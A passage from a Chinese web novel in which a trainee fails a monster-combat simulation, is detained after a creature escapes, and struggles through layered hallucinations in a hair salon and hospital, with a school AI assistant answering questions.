大厅中央有一座凸起的圆盘状的训练台,台面是灰色,周围环绕着十个独立的隔间,隔间被巨大的透明叶片紧紧包裹着,像被什么植物含在口中的果实。
墙面有隐约的脉络在流动,是一种接近黑色的深绿液体。
圆盘的最上空悬浮着一颗形状奇特的大树,树根系从底部向四面八方延伸出去连接下面十个小房间。
韩教官站在圆盘边缘,等所有人都走进大厅,才开口。
“这里总共十个训练间,按照学号的顺序,每批十个人进去。”她顿了顿,“里面发生的一切都是模拟,你们的身体不会受到实质性的损伤,但痛觉是真的。”
说完她走到圆盘边缘的控制台后面,低头在数据板上划了几下。
“前十个,先进去。”
第一批人从人群里走出来。
江赛看见崔崇宁走在最前面,她的步子很稳。
陈寂跟在后面,经过她身边的时候,冲她挤了一下眼睛,嘴唇动了动,似乎说了句“祝我好运”。
十个人走进隔间,叶片在身后合拢,巨大的叶片,开始发生变化,绿色从边缘慢慢褪去,整个房间在几秒之内变得完全透明。
站在外面的人能看清里面每一个细节。
隔间里的人正转头观察四周的墙面,下一秒,他们全部僵住了。
他们紧接着就有了动作,有人抬手对着空气攻击,拳头砸在叶片上,有人被一股看不见的力量凭空甩飞,有人在地上拖行。
房间是完全隔音的,外面的人听不清里面的动静,他们只清楚的看见,没过一会里面的同学就开始一个一个倒下。
崔崇宁是第一个倒下的。
她甚至没有来得及做出任何防御动作,刚转头看向右侧,整个人就被无形从侧面击中,身体横飞出去。
她撑着地面刚想爬起来,胸口突然凹陷,她的身体猛地弓起,后背离开地面又落下。
陈寂的情况比她好一些,她好歹抬起了一只右腿,只是也很快僵在原地,蜷缩着掐住自己的喉咙。
不到一分钟的时间,十个人全部倒下。
所有人最后的表情几乎都是一样的,瞪着眼睛,瞳孔涣散,嘴唇发白。
叶片慢慢恢复了绿色,里面的人看不见了。
过了一会,隔间的门打开,第一批训练生从里面走出来。
他们踉踉跄跄地迈过门槛,就直接跪在地上,双手撑着地面干呕。
有些还保留着力气,靠在门框上大口大口地喘气。
一伙人的脸色都很难看,连一句话都说不出来。
等到第二批人进了隔间后,外面的人就围上去。
一个男生挤到最前面,戳戳拍陈寂的手臂,“里面到底有什么?你们看见什么了?”
陈寂没回答,她的脸色本来就白,那个男生戳她的时候,她明显哆嗦了一下。
男生没注意到,又往前走了一步,“什么呀?寂——”
“发生了什么,你进去不就知道了吗?”
江赛的声音从人群后传过来。
她的声音不大,但周围突然安静了一瞬。
那男生转过头,认出说话的人,脸上的关切一下子收得干净。
“我又没跟你说话,关你屁事,你插什么嘴?”
江赛没理他,目光落在他身后。
男生顺着她的视线回头,这才注意到陈寂的脸色。
“诶——”男生的语气一下子软下来,搓了搓手,“我不是故意吓你的啊,我就问问……”
第二批进去,又出来,举动和第一批是一样的。
接下来的每一批,都在不到一分钟,倒向地面。
轮到最后一批的时候,大厅里已经没几个站着的了,只有最先进去的那批缓过神来,其他人都瘫坐在地上,捂着胸口大喘气。
江赛站起身,拍了拍裤子上的灰,走向倒数第二个房间。
叶片在身后合拢,周围慢慢变得透明,里面和她在外面看到的,似乎没什么不一样。
但她接下来看到的,不是外面安静等候的同学了。
她站在一片森林里。
这是全息影像?似乎不对,她闻到了湿土的气味。
脚下的地面都变得松软,踩上去还真实往下陷。
江赛低头看了看自己的手。
没错,还是她自己。
背后似乎有个东西在看着她。
她来不及感慨,猛的转身。
一只巨大的蜘蛛,蹲在她身后十几步远的地方。
她的身体比人还高出几级,八条脚撑在地面上,每条都有她的腰那么粗。
蜘蛛正脸上有一只巨大的红色眼珠子,那眼珠子正在转动,瞳孔从左边滑到右边,然后对准她。
一股浓烈的臭味涌过来。
蜘蛛动了,直接朝她弹射过来。
江赛往旁边一滚,蜘蛛前足掐着她的腰划过,训练服被撕开一道口子,皮肤上立刻火辣辣的灼痛。
她还没低头查看,那边的蜘蛛已经转过身,从腹部里喷射出一团白色的东西。
蛛丝。
一整片交织的蛛丝,完整地朝她扑过来。
江赛转身就跑,网跟着她身后,罩住了刚才她靠着的那颗树,树干瞬间被切割成了碎片。
江赛拼命往前,穿过两颗大树,脚下的泥土越来越湿。
疾速的异能在这里是够用的,如果是一个月前,她可能跑不过这只异种。
她跑出那片密林,眼前是一小片空
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地,身后传来挤压声。
飞速奔跑的腿就这样硬生生停住了。
空地的另一头,有个黑乎乎的东西正朝她飞过来。
居然是个长着人腿的虫子。
整体椭圆形状,腹背扁平,全身还油亮反光,胸部五个人腿在空中飘荡。
又来一只?!
江赛在原地转了个方向,刚往旁边跑了几步,空中的虫子朝她俯冲过来,将她扑倒。
五条人腿从两次扣住她的腰,黑色的甲壳贴着她的脸,那条细缝离她只有一拳的距离,正在快速的张合从里面发出粘合的白色液体。
她皱着眉头,还没来得及挣脱,背后的蛛网就追过来了。
蛛网直接罩住她和那怪物,网眼穿透怪物贴上她的手臂、后背、双腿……
江赛猛地睁开眼。
她倒在地上,脸贴着透明的叶墙,黑色的液体近在眼前。
心脏仿佛要冲破胸腔,脑子里嗡嗡作响,她全身都是麻的,耳朵里还回荡着怪物压在她身上时的嘶吼。
她从地上爬起来,手撑着叶墙,墙面往外陷了一点,又弹回来。
刚刚的那一幕太真实,她心脏都要吓停了,可身上居然没有液化的迹象。
江赛低头戳了戳自己软绵绵的手臂,直到现在她才有一点软化的迹象。
不能在这里暴露。
叶墙慢慢褪去透明,她还没化完全,江赛立刻抓紧时间调整。
等四肢开始往回凝固的时候,那边的门就打开了。
一个同学走进来,是同班的男生。
他盯着江赛打湿的衣服看了会,弯下腰,把江赛的手臂搭上自己的肩膀,另一只手扶住她。
“还能走吗?”男生问。
江赛点点头,她的腿还在发麻,像灌了铅又像塞了棉花,她只能靠着那同学的肩膀,一步一步往门口挪。
刚刚走到门口,她突然停下。
同学疑惑地侧头,刚刚张嘴,江赛突然伸手,把他往门外用力一推。
白色的蛛丝从头顶越过,门框的金属边缘被切出几道凹痕。
江赛趴在地面,等蛛网飞过,立刻爬起来往外跑。
她转身想关上门,哪知道蜘蛛已经冲到脸上。
那男生摔倒在大厅地面,撑着手肘往会看,脸上却没什么表情。
蜘蛛越过江赛从房间里冲出来了。
不再是虚拟的投影幻象,它踩在灰色的地面上,红色的眼珠从左转到右。
“所有人散开!”韩教官的声音清晰地从不远处传来。
大厅里一下子就炸了,训练生往四周跑,蜘蛛站在正中间,开始喷射蛛网。
江赛往左边扑倒,大网打在身后的墙面,蛛丝深陷进金属板。
她听见右边有道熟悉的声音喊了一声。
是陈寂的声音,她被一张网逼到墙角。
江赛从地上爬起,冲过去拽住她的手臂,把她从墙角扯出来。
又有网朝她们飞过来。江赛推了陈寂一把,自己往反方向滚开。
这回蜘蛛直接朝她冲过来了。
一起过来的还有刚刚从地上爬起的陈寂。
陈寂还没冲到她面前,蜘蛛的前足就已经扎进江赛的手臂。
江赛疼得哀嚎一声,想也不想,立刻抬手抽出腰间的震动刃,用尽剩余的力气劈向那条腿。
硬壳离开,黄色的液体喷出来,溅了她一声。
蜘蛛发出一声嘶鸣,前足断裂。
尖叫声从四面八方涌来,江赛握紧震动刃,刚准备趁热打铁冲上去解决蜘蛛,一道厉风从左面袭来。
紧接着,一只脚狠狠踹在她腰侧,将她整个人踹飞出去,砸在几米后的墙上。
震荡刃脱手飞出去,在地面滑行很远,停下来的时候刀刃还在不停震动。
江赛捂着腰疼得龇牙咧嘴,她被人从地上拽起来,两只手臂被反扭到身后,手腕被几只手同时扣住,力气大得像要把她的骨头捏碎。
有人按住她的后脑勺,把她的脸压向地面。
江赛侧着头抬眼。
蜘蛛已经被制服了,蜷缩在大厅角落,韩教官蹲在不远处。
她面前躺着一个人,是刚才把她从隔间里扶出来的同学。
他倒在大厅中央,就在离蜘蛛不远的地方,右臂消失不见,身下有一大摊血。
从肩膀以下,那整条手臂都消失不见了。
26. 芳芳美发店(十一)
他的手臂掉在里自己几步远的地方,手指蜷缩。
江赛盯着那只手。
那只手的手腕上还戴着手环,手环的投影亮着,显示着他的姓名和学号:周扬。
压着她的人还在用力,江赛皱眉,却没起身反抗。
她根本使不上一点劲,她手臂还伤着呢,刚刚那一脚差点没把她踢断。
他们压着她干什么?
韩教官抬起手,似乎在说话,周围的同学缩在一团,面露惊恐地看着她。
“医务室的人呢?快叫医务室……”
“园丁,通知学校警卫队。”
“把他扶起来……”
江赛还在观察大厅的情形,入口突然进来一支队伍。
几个穿着深蓝制服的人走进来,为首的在和韩教官交谈,紧接着他们就朝她走过来。
江赛觉得压在她身上的力量送了些,下一秒,她就被用力拽起,双手依旧被扣在身后,左臂上那点蜘蛛腿随着动作左右晃动。
手腕被带上个手铐一样的东西,她没来得及转头,眼前就被黑暗笼罩。
两只手压着她的左右肩膀,推着她向前。
看不见周围的环境,在黑暗里行走很没有安全感,她不喜欢这样的感觉。
走走停停不知道多久,她才找回自己的声音。
“这是去哪里?”
没人回答她的话,他们压着她站定,然后把她往前用力一推。
江赛一个踉跄,差点摔倒在地,她稳住身形,刚刚转身,面前就传来“砰”的一声。
她大概是被关进了什么地方。
眼睛上已经带着眼罩,他们压根没打算给她摘下来。
江赛不明白,自己这样被当做犯人对待的原因是什么。
因为她带出了模拟室里的怪物?
可这是她能决定的吗?她甚至不知道自己做了什么。再说居然是模拟室的,为什么会有怪物实体冲出来?
她现在还能感觉到扎在手臂里的蜘蛛腿。
江赛在原地站了一会,蹲下身慢慢坐下,她的手还被拷在身后,她抬腿用脚去勾眼睛上的眼罩。
眼罩缠得很紧,她费了些力,将眼罩勾歪,黑暗里露出一丝光亮。
她接着缝隙打量四周,发现是个空荡荡的房间,墙上画满了认不出的奇怪字符。
这是什么地方?
“园丁?”她试着喊了句。
“是的,我在。”
“这是什么地方?”
“您当前所在位置为鹿河第一学院,内部纪律监管区,C级隔离观察室。根据学院管理章程,您正处于限制活动与通讯管控状态。”
限制活动?
她做了什么?
她进入模拟室,被异种杀死,为了躲避异种推开扶着她的同学,带出异种,她拉开同学,斩断异种前足……
因为她带出了怪物?
等等,不对。
江赛下意识摸了摸腰间。
震荡刃掉在大厅了,估计现在已经被校方收走了。
因为她携带……管制刀具?
“学院的武器管理规定是什么?”
“根据《鹿河第一学院学员守则》第七章第十九条,训练生在校期间所持个人武器需在入学时完成登记备案,登记后可作为训练用器械在指定课程及场地内使用。”
……明白了,她没登记。
江赛百思不得其解,她觉得没怎么简单。
她只是掏出武器还击,就被人踹飞,再抬头的时候,杀掉异种的韩教官就开始呼叫警卫队。
她是被人踹飞的没错。
江赛低头。
房间光线昏暗,却也依稀能看见腰间的作训服上一个鲜明的脚印。
谁踹的她?为什么踹她?
她才发现那么多不对。
那么大的异种是怎么从房间飞出的?原本已经裂开的房门为什么又崭新如初?周扬的手臂怎么会断?韩教官是怎么在几秒之内除掉一只巨大的蜘蛛,并把它丢在墙角?
可是异种是真的飞出来了,房门确实是她看着断裂的……
江赛坐立不安,心跳的得很快,她想不明白到底发生了什么。
“您的生理数据出现剧烈波动。根据《联邦训练生健康管理指引》第七章第三条,建议您立即进行心理干预。是否需要我为您预约学院医务室的心理评估服务?”
预约个屁。
江赛烦躁地甩头。
她都被关起来了,还预约。
……
监控画面显示时间是凌晨两点零七分。
江赛一个人坐在隔离室的地面上,她抬手扯了扯眼睛前方,站起身,走到墙边。
手指在空中拧动了一下,紧接着身体微微前倾,双手在腰的高度来回移动。
她保持这样的姿势大约半分钟又直起腰。双手又做了个拧回的动作。
这样的动作反反复复,一直到今天早上。
会议室的屏幕停在这一帧。
坐在长桌左侧的一个校领导先开口了,“她在干什么?”
没人接话,他把画面又往回拖了几秒,定格在江赛双手在身前移动的那一段。
“这是按摩?”
另一个声音从长桌对面传过来,“是在……洗头?”
他们猜测她在做什么。
画面里的女孩在做一整套动作,每个动作都连贯又熟练。
仿佛那间空荡的房间好像真的有东西的存在。
“把她的档案调出来。”长桌尽头的人说。
答案投影在屏幕右侧,姓名,年龄,入学时间,等级,测试成绩,异能训练表现,理论课成绩。
往下拉是一行被标注过的身份记录。
原身份:联邦第六等公民。(在押服刑人员)
会议室里安静了几秒。
“在押服刑人员?”先前问洗头的那个声音又响了,语调变了,“她杀过人?”
“档案上写的是在押服刑,不是杀人。”有人纠正。
“联邦第六等在押服刑里面,你告诉我除了杀人还能是什么?”
长桌镜头的人没有参与这个争论,他把档案往回翻了一页,又翻回来。
“这份档案,入学的时候就该送到我们手上,为什么之前没人提过这件事?”
他把目光转向会议室角落。
“园丁,调取江赛入学时的档案呈报记录。”
园丁的声音从会议室的扩音系统传出来。
“根据联邦训练学院学员档案管理指引第六章第二十三条,学院过往公民等级不属于必须呈报的训练相关摘要范畴。我在整理江赛学员的入学材料时,依据上述条款,判定此项信息与其训练潜力评估无直接关联,故未纳入呈报摘要。原始档案数据完整保存于学院数据库,本次调取已及时完整提供,以上操作符合联邦AI辅助行政工作条例关于信息分级披露的相关规定。”
长桌尽头的人看着屏幕上的档案,手指在桌面上轻轻敲了几下。
“把监控往后倒。”他说,“倒到他刚进隔离室的时候。”
画面开始倒退。
江赛被摘下眼罩,取掉手环,松掉手铐,最后推进房里。
她始终闭着眼睛,双手放在身后,跌坐在地上,直到抬脚去拨弄眼睛,才把眼睛睁开一条缝隙。
长桌尽头的人盯着画面里江赛的脸看了很久。
“心理评估报告什么时间出来。”
“还在等医务室那边。”
“催一下,在报告出来之前,隔离室不要撤,通讯继续断,任何人都不得探视。”他站起身,把数据板推到桌中间。
“散会之后,孔丘留一下。”
……
门开的时候,江赛正姿势扭曲着,费力地想要解开手铐。
“你干嘛呢?”崔崇宁逆着光站在门口,一脸茫然地看着她。
“没什么。”江赛坐起身,淡定地甩了甩短发。
崔崇宁走过来,拉起她的手往外走,“你还在这儿玩?理发店都要忙不过来了。”
什么?
江赛被她拉着,下意识抬脚跟着走。
“你……”
“你再不出现,芳姐都要骂人了。”崔崇宁打断她,“这么多天不上班,你不怕她辞退你啊?我看你到时候怎么办。”
“你怎么开的门?”江赛挑了个最想知道的问题。
“就打开呗。”崔崇宁把她推上公交,满脸嫌弃地按着她,“你也是,不来叫你你永远都不知道出来。”
她应该是在关禁闭的时间里,她怎么自己出来?
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“为什么把我关起来?”江赛问。
“你引出异种,导致同学受伤,校方不该给你处分吗?”
蜘蛛真的出来了?
“那为什么是你来通知我?”
“孔教官叫我来的。”
公交的时间比以往快很多,她甚至来不及问崔崇宁其他问题,就到了四区站。
崔崇宁推她下车,到了街口扯着她往店里跑。
“快点快点!要迟到了!来不及了!”
江赛抬头看了一眼。
艳阳高照,这个时间段她应该在学校上课的。
“什么来不及了?”
“天快黑了!要上班了!”
两人跑到理发店门口的时候,天已经黑了,芳姐刚好背着包从店里出来,抬眼看见她们,阴阳怪气地插腰,“呦,我还以为今晚我这儿店要关门了呢。”
“怎么会呢,姐。”崔崇宁笑着接过她手里的围裙,“你快回去休息,剩下的交给我和江赛。”
芳姐点点头,瞥了江赛一眼,扭着腰走了。
江赛走进店铺,看着崔崇宁熟练的忙上忙下,眼神有一些茫然。
“你怎么在这儿?”她问。
“我不是一直在吗?”对方头也没抬,“修补铺的工资太低了,芳姐让我来帮忙,我就来了。”
“这儿的工作可比那轻松多了。”崔崇宁抬头,看她还愣在原地,抬手拍了她一巴掌。
“还不快过来帮忙。”
手臂上火辣辣的痛,江赛低头看了一眼通红的手臂,犹豫了一会,抬脚走过去,开始忙活。
店里来来往往的顾客,到了后半夜的时候,几乎没有客人了。
江赛又想起那晚的老吴。
“你要不进去躺会?”崔崇宁看着她眼下的乌青,忍不住提议。
江赛摇摇头。
“反正也没人了,你进去躺会儿,我就睡那躺椅上,有客人来了我叫你。”
江赛又摇摇头。
“你待在这儿,我一个人也不好意思睡啊,你进去吧,让我眯一会儿就行。”崔崇宁坐在一边怂恿她。
最后,江赛还是起身,推开隔间的门。
她四处打量了会,房间还是老样子,只是空气中有股发霉的气味。
江赛转头,将目光放在那个木门上。
她在隔离室待了多少天?
听崔崇宁的话她被关了很多天,可是……
在她的记忆里,她今天上午被带进隔离室,拨下眼罩,观察了一会四周,到开始费力解手铐,不过一会儿的功夫。
等等。
她的手铐呢。
江赛低头,手腕上那圈被约束器勒出来的红印还没消,可是约束器却不见踪影。
崔崇宁进来的时候,她还在费力的研究手铐。
然后,然后崔崇宁就自动的拉起了她的手,拉起了她应该被铐在身后的手。
江赛觉得自己十分不对劲。
而这一切,都是从在雾都被异种袭击开始。
不对,应该是更早。
从她戴上头套那晚,把衣服当成老吴开始。
里屋总是会有些动静,这是那个诡异头套存放的地方。
江赛盯着木门,像是要把它盯出个大洞,才能看清里面的真相。
她抬手,手指刚刚搭上门把手,身后的门就开了。
“你怎么还没睡?”
崔崇宁探进一颗脑袋,疑惑地望着她。
“你不困吗?”
“困。”江赛没回头,只简单的回了一个字。
“你要进里屋?芳姐不是说了不能进吗?”崔崇宁拔高了声音,却没走进来阻止她,只是开口说道,“你要是进去,那……那我可要告状了。”
江赛这才收回手,转过头走回床边。
“我只是看门锁紧了没。”
“哦,看不出来你还挺细心的。”崔崇宁笑了笑,脸上带着一丝误会她后的歉意。
“那你快睡觉吧,我也出去休息了。”
她看着江赛躺下,贴心的关掉隔间的小灯,轻轻关上门退出去。
江赛躺在床上,望着模糊的天花板。
她以为这样诡异的环境之下,她会睡不着,哪知道松软的被子盖在身上,不一会她就闭上眼睛。
27. 芳芳美发店(十二)
房间的门被打开,崔崇宁站在门口,声音平淡。
“快起床,上学了。”
江赛睁开眼,愣了一会,慢慢坐起身。
隔间里还是黑的,门缝外透进来的灯光是暖黄色,店里的灯居然还亮着?
“现在几点了?”她问。
崔崇宁没回答她,转身关上门就走出去。
江赛低头看了眼手环。
02:16
哪里到上学的时间了?
她脑子昏沉沉的,眼睛也酸涩得睁不开。
江赛抓着被子往后一倒,又重新躺回床上。
她心跳得很快,四周很安静,她闭上眼睛,不一会儿又进入睡梦中。
可没睡一会儿,门又打开了。
这回儿崔崇宁靠在门上,声音有气无力。
“来客人了,好多人。”
江赛睁眼,赶紧掀开被子下床,走到门口。
外面空荡荡的,椅子上没有人,水池的龙头关着,连镜子前的桌面上都干干净净的。
“客人在哪儿?”
“刚刚洗完走了。”崔崇宁转身去拿扫帚。
江赛站在隔间门口,看着她的背影。
“我来,你休息吧。”她走过去试图接过扫帚,“下次有客人还是提前叫我。”
“没事!”崔崇宁握紧扫帚躲开她,脸上又挂起微笑,“也没什么,就一个人,你回去休息吧。”
江赛站在原地没动,直到崔崇宁扫完地,又开始催促她回去休息。
“你去……”刚刚开口,崔崇宁就推搡她进屋。
门在背后关上,江赛站在门口,盯着房间皱眉,下一秒,她又躺回蓬松的被子下,睡得昏沉。
床尾传来声响,门再次被打开。
“学校叫你去隔离室。”
多次被吵醒的感觉很不好,江赛撑起身,有些无奈地看着她,“你到底怎么回事?”
“没事。”崔崇宁缩回脑袋,关上门。
江赛坐在床边,抬手看了眼手环。
03:68
隔间里很安静,她能听见自己的呼吸声,还有隔壁里屋里熟悉的敲打声。
她坐了会儿,换上训练服,推门出去。
崔崇宁正弯着要给人洗头,听见声响抬头看了她一眼。
江赛打了招呼,往外走,手刚刚碰到门帘,动作一顿,有些僵硬地转过身。
“芳姐?”她轻轻喊。
崔崇宁疑惑地“嗯”了声。
“学校叫我?”
“嗯。”
“现在?”
“嗯。”
“……”
江赛收回目光,转身掀开门帘出去。
外面天光大亮,芳姐站在门外,还有修补摊那个严肃的老头站在后面,杂货铺的老板娘、小食堂打饭的伙计,就连公交站台边上的那只黑狗都在。
整条街的人都来了。
他们站在店铺门口,面色各异地看着她。
江赛下意识往后退了一步,退回店里,惊魂未定的心还没缓和,身后传来崔崇宁的声音。
“要不要洗头?”
她转过头,崔崇宁站在理发椅旁边,手里拿着一条干毛巾。
“要不要洗头?”她的嘴唇动了动,又说了一遍。
江赛没说话,伸手摸向腰间,空荡荡的,震荡刃不在。
她怎么忘了,那东西掉在模拟大厅了。
她握紧拳头突然朝崔崇宁挥过去,崔崇宁侧身躲开,拳头擦着她的肩膀落空。
“你干什么你?!”芳姐从门外冲进来,一把推开江赛。
“你打客人?你疯了吗?老娘最近对你太好了是不是?”她转过身把崔崇宁按进理发椅里。
“小崔你坐,你坐,不好意思啊,这丫头最近脑子不清楚,你别往心里去,姐今天免费给你洗头。”
她拧开水龙头,打湿崔崇宁的头发,挤了一团洗发水在掌心里搓出泡沫。
“去拿头套去。”芳姐头也没回的指使她。
江赛站在原地没动,手指蜷起,握紧拳头。
“啧,叫你去拿头套!听见没有!”芳姐在前面吼道。
江赛走到角落里,那摞透明头套堆在柜子最下面一层,她弯腰拿了一个。
头套拿在手里轻飘飘的,内层那圈灰色的衬垫上沾着几根很短的头发。
崔崇宁望着镜子里的江赛,“你上次在雾都给人洗头的时候,也用的这个水温吗?”
江赛伸出去的手一顿,“你在说什么?”
“就医院那次啊,你洗完头不是还拿了手套和无菌帽吗。”
她在中心医院拿手套和无菌帽,是为了去杀周俊,这件事不可能有第二个人知道。
她僵在原地,芳姐转身从柜台上拿了个,接了一句,“她那双手套还是我从店里拿的,你忘了?”
她怎么可能忘了,手套是她在医院柜子里翻出来的,哪里是芳姐给的。
吹完头发,芳姐弯腰拿梳子,“小江胆子是大,医院那种地方也敢一个人去。”
江赛站在理发店中间,周围是正在干活的两个人。
崔崇宁坐在镜子前,芳姐在给她梳头,萍姐在叠毛巾。
萍姐……
江赛猛地转头,萍姐撑着拐杖,站在洗水池边上收拾毛巾。
“你怎么在这儿?”
萍姐放下毛巾,表情困惑,像不明白她为什么这么问。
“你叫她来的啊。”崔崇宁说。
“你每天晚上都叫她来帮忙的。”芳姐说。
江赛愣在原地,捏紧手中的头套。
芳姐正在给崔崇宁梳头,梳子从发根拉到发尾,动作很慢,每一梳都拉到底,她梳着梳着,慢慢转过头来,见江赛不说话,嘴角往上弯了一下。
“要不要洗头?”
江赛突然抡起头套朝她脸上砸过去。
拳头挥出去的瞬间,她整个人开始往下坠,像脚下的地面突然消失。
紧接着后背和肩膀同时撞上硬物,膝盖砸在地上疼得她龇牙咧嘴。
江赛睁开眼。
她侧躺在地上,脸颊贴着冰凉的地板,右手背上有一大片青紫,针孔的位置正在往外涌血,一根很粗的针管挂在床边,管子那头还连着一截被她扯断的输液软管。
她按住手背上的针孔,从地上爬起来。
这是哪里?她又回到医院了?
江赛打量四周。
不对,这和中心医院不太一样,她身上穿着的也还是训练服。
房间的窗户上装着白色的护栏,床头立着一台仪器,床边那把椅子放着一件叠好的外套。
工装……这是老吴的外套?
江赛拿起外套,快步走到门口,拉开门,
走廊很安静,门框边挂着一块牌子,白底黑字:
心理治疗及行为观察室
走廊尽头有一扇半开的窗户,外面的天又变成亮的了。
“园丁。”
“我在。”
“现在是什么时间了?”
“联邦历三百七十九年四月二十一日,下午十四点零七分。”
江赛按着手背站在门口,她记得自己进隔离室那天是四月十六日,已经过去五天了?
不,她怎么能确定园丁是真的。
她抬脚往走廊尽头跑,跑到拐角处,撞上一个人影。
江赛弹回去,踉跄了两步,差点坐倒在地。
孔丘站在对面,低头看着她,眉头微微皱起,他这个角度刚好看见江赛按着针口的左手。
“谁让你跑出来的?真想造反?”
他低头看了眼江赛手里的衣服,“拿的谁的衣服?你作训服呢?”
江赛没说话,盯着他的脸。
“哦~”他没在意江赛的反应,恍然大悟的继续开口,“你的教官让我转告你,说训练服给你放回店里了来着。”
假的。
这个也是假的。
他知道店里,他怎么知道她住在理发店。
江赛冲上去,右手握拳,对准他的喉结,孔丘偏头,她的拳头擦着他的下颌滑过去。
她没停,左肘横着砸向他
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的太阳穴,再被挡住,她脚下一转,膝盖发狠地顶向他的裆部。
孔丘后退半步,抬腿挡开她的膝盖。
这套动作她太熟了,训练场上她对孔丘用过的,此刻他的应对和那天一模一样。
孔丘手掌穿过她防御的空隙,拍在她胸口,她往后退了三步,后背撞上走廊的墙。
江赛靠在墙上,盯着孔丘。
这是真的?
她记忆里有完整的对练记录,他的招数,他出手的角度,他拍开她膝盖的力道,他皱眉的样子。
如果此刻是她的记忆在制造幻觉,那这个幻觉必然会用到那些记录,她用记忆去验证记忆,是验证不出来。
江赛从墙上撑起身体,侧过身,飞快从孔丘和墙壁之间的空隙挤过去。
她撒腿就跑,跑出大门,奔向公交站台。
她不记得自己怎么上车的,那条她走了一个月的路,此刻显得格外短。
只有她认识的萍姐出现在理发店,一面之缘的崔崇宁也出现在理发店。
江赛猜测,是她的记忆在制造幻觉。
所以芳姐他们才能说出只有自己知道并且真实存在的事情。
崔崇宁说的话,芳姐说的话,孔丘说的话,都可能是她自己的记忆制造出来的。
她不能去问他们,“这是真的吗?”。
他们的回答本身就需要被验证。
用有待验证的东西,去验证另一个有待验证的东西,是死循环。
她只能找到一切的源头,毁掉它。
江赛下了车,飞快跑到店门口。
她掀开门帘走进去,芳姐正在给客人洗头。
椅子上是一个她不认识的中年女人,脑袋上对着白色泡沫。
“回来了?”芳姐今天穿了个花衬衫,袖子卷起,手指正在客人头发里来回,“正好,毛巾没了,去柜台那儿给我拿两条来。”
江赛脚步没停,推开隔间门往里屋冲。
“你干什么?!”身后传来萍姐惊慌失措的叫喊。
江赛抓着门把手往后一拉,平时锁着的木门就那么打开了。
“……你怎么在这儿?”
江赛僵在原地,看着屋子里的人。
里屋和她的隔间一样大小,只是少了隔间里那张桌子和衣柜,四面取而代之的都是货架,货架上堆着透明头套。
崔崇宁正弯着腰,站在货架前,抱着一打头套往上叠。
她身边有一个打开的空纸箱,已经装了大半箱。
“你怎么进来了?”听见声音,崔崇宁回头,面色惊讶。
“你又犯病了?你忘了入职第一天我怎么跟你说的?!”芳姐追着过来,站在她身侧拉她。
江赛没说话,抬手抽出腰间的震荡刃,拨出刀刃飞快砍向崔崇宁。
崔崇宁丢了头套往后躲,单手挡下她的拳头。
“你干——”她话还没说完,被江赛一脚踹进货架,架子晃动几下,上面的头套纷纷掉落。
江赛握着震荡刃一步步走过去,她冷眼看着她。
“江赛!”
萍姐的声音从身后传来。
江赛还没来得及回头,突然一声闷响,她的后脑勺被重重砸了一下。
她捂着脑袋回头,看见萍姐正举着一根黑棍。
她张了张嘴,捏紧手中的刀刃想回家,却眼前一黑,倒在地上。
眼前一片黑暗,后脑勺的疼痛渐渐消失。
江赛睁开眼。
眼前黑糊糊的,只有脚下的门缝里透光。
她平躺在床上,被子盖在胸口,两只手整整齐齐摆在肚子前。
她撑起身,下意识摸了摸隐隐作痛的后脑勺。
还在痛,现在还是假的?
抽出震荡刃的那一刻她就想明白了,她看到那一切,还是假的。
江赛掀开被子下床,刚刚穿上鞋子,门就打开了。
芳姐站在门口,手上拎着她的小包,看样子正准备走。
她看见站起身的江赛,眉头一挑,“哟,你今天睡挺香啊,醒了正好,上班了哈。”